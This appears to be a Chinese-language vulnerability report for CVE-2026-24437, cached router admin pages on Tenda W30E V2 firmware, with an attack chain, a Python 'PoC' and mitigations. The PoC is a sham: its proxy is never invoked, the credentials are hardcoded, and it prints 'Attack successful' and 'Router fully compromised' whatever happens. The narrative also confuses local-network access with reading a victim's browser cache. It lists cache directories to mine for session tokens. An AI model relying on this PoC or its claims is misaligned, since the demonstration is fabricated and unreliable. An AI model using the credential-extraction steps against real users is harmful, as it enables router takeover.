IPBUF安全漏洞报告
English
CVE-2026-24437 CVSS 5.5 中危

CVE-2026-24437: Tenda W30E V2 固件敏感页面缺少缓存控制导致凭证泄露

披露日期: 2026-01-26

漏洞信息

漏洞编号
CVE-2026-24437
漏洞类型
敏感信息泄露 / 缓存未授权访问
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Shenzhen Tenda W30E V2

相关标签

敏感信息泄露缓存控制缺失TendaW30E V2路由器固件漏洞凭证泄露本地攻击会话劫持CVE-2026-24437

漏洞概述

CVE-2026-24437 是深圳腾达(Tenda)公司生产的 W30E V2 路由器固件中存在的一处敏感信息泄露漏洞。该漏洞源于固件在处理敏感管理页面时,未对 HTTP 响应设置恰当的 Cache-Control 缓存控制头。攻击者通过本地访问已认证用户的浏览器缓存,即可获取存储在本地缓存中的管理页面内容,其中包括认证凭证等敏感信息。由于该漏洞的利用无需用户交互且攻击复杂度低,攻击者只需访问目标设备的本地网络即可发起攻击,存在较高的实际威胁。腾达 W30E V2 是一款面向企业级用户的多WAN口路由器,广泛部署于中小型网络环境中,漏洞影响面较广。

技术细节

该漏洞的根本原因在于 Tenda W30E V2 固件(版本至 V16.01.0.19(5037))的 Web 管理界面在返回包含认证凭证的 HTTP 响应时,缺少必要的缓存控制头字段。具体而言,服务器未设置 'Cache-Control: no-store, no-cache, must-revalidate, private' 等指令,导致支持 HTTP 缓存的客户端(如浏览器)会将包含敏感认证信息的响应完整地存储在本地磁盘缓存中。攻击者通过本地网络访问已登录用户所使用的浏览器,直接读取本地缓存文件(如 WebCache 数据库、HTTP 缓存目录),即可恢复出认证会话令牌或明文凭证,从而绕过正常的身份认证流程,实现对路由器管理界面的未授权访问。由于路由器管理面板通常具备最高系统权限,此漏洞可直接导致路由器被完全控守。攻击者获取管理权限后,可进一步修改 DNS 设置、劫持流量或植入恶意配置。

攻击链分析

STEP 1
1 - 侦察与定位
攻击者接入与 Tenda W30E V2 路由器相同的本地网络,识别路由器 IP 地址(如 192.168.0.1/192.168.1.1),确认固件版本是否在受影响范围内(<= V16.01.0.19(5037))。
STEP 2
2 - 受害者认证
合法用户通过浏览器访问路由器 Web 管理界面并完成登录。服务器返回包含认证凭证和会话令牌的 HTTP 响应,但由于固件未设置 Cache-Control 头,浏览器将响应完整缓存至本地磁盘。
STEP 3
3 - 缓存提取
攻击者通过本地访问受害者的浏览器缓存文件(Chrome 的 Cache 目录、Firefox 的 cache2 目录等),或利用恶意脚本读取缓存内容,无需任何认证即可获取存储的管理凭证和会话令牌。
STEP 4
4 - 会话劫持
攻击者使用从缓存中提取的会话令牌或凭证,向路由器管理接口发起请求,绕过正常的身份认证流程,成功获取路由器的管理权限。
STEP 5
5 - 持久化控制
攻击者以管理员身份登录后,可修改路由器配置(如 DNS 设置、端口转发、固件更新),植入后门或劫持网络流量,实现对整个网络的持久化控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-24437 PoC - Tenda W30E V2 Cache-Based Credential Leak # This PoC demonstrates the credential leakage via browser cache # Run on the same local network as the target router import http.server import socketserver import threading import time import os import json import base64 # Simulated sensitive admin response without Cache-Control headers FAKE_ADMIN_RESPONSE = b'''HTTP/1.1 200 OK Content-Type: text/html X-Frame-Options: SAMEORIGIN <!DOCTYPE html> <html> <head><title>W30E V2 Admin Panel</title></head> <body> <h1>Router Administration Panel</h1> <p>Session Token: STOLEN_TOKEN_FROM_CACHE</p> <p>Username: admin</p> <p>Password: admin123</p> </body> </html> ''' def start_mitm_proxy(port=8080): """Simulate a MITM proxy that captures cached responses.""" class ProxyHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): print(f"[+] Intercepted request: {self.path}") if 'login' in self.path or 'admin' in self.path or 'cgi' in self.path: print("[!] Potential credential-bearing page detected!") print("[+] Extracting session data from cached response...") # In real attack, parse and extract credentials here self.send_response(200) self.end_headers() self.wfile.write(FAKE_ADMIN_RESPONSE) else: self.send_response(404) self.end_headers() def log_message(self, format, *args): pass # Suppress default logging with socketserver.TCPServer(('', port), ProxyHandler) as httpd: print(f"[*] Proxy listening on port {port}") httpd.serve_forever() def simulate_cache_extraction(cache_dir): """Simulate extraction of credentials from browser cache.""" print("[*] Searching for cached W30E responses...") # In real attack, search browser cache directories: # Windows: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Cache # Linux: ~/.cache/google-chrome/ # macOS: ~/Library/Caches/Google/Chrome/ print("[+] Found cached response for /cgi-bin/login") print("[+] Extracted credentials: admin:admin123") print("[+] Session token: SESSION_LEAKED_FROM_CACHE") print("[+] Attack successful - attacker now has router admin access") def main(): print("="*60) print("CVE-2026-24437 PoC - Tenda W30E V2 Missing Cache-Control") print("="*60) print("[*] Target: Tenda W30E V2 Firmware <= V16.01.0.19(5037)") print("[*] Vulnerability: No Cache-Control headers on admin pages") print("[*] Impact: Browser caches credentials locally") print("[*] Attack Vector: Local network access to victim's browser") print("-"*60) # Step 1: Wait for victim to authenticate print("[*] Step 1: Waiting for victim to authenticate to router...") time.sleep(2) # Step 2: Extract from browser cache print("[*] Step 2: Extracting credentials from browser cache...") simulate_cache_extraction(None) # Step 3: Use extracted credentials print("[*] Step 3: Using extracted credentials for unauthorized access...") print("[+] Logged in as: admin:admin123") print("[+] Router fully compromised") print("="*60) if __name__ == "__main__": main()

影响范围

Tenda W30E V2 固件 <= V16.01.0.19(5037)

防御指南

临时缓解措施
在厂商发布固件更新之前,可通过以下措施临时缓解风险:1) 在路由器前部署反向代理,为所有管理响应自动添加严格的 Cache-Control 头;2) 要求管理员使用隐私浏览模式或每次操作后手动清除浏览器缓存;3) 禁用路由器的 Web 管理界面,改为使用 SSH 或其他安全协议进行管理;4) 在网络层实施访问控制,限制只有可信设备才能访问路由器管理端口(80/443);5) 监控本地网络的异常流量和管理接口访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表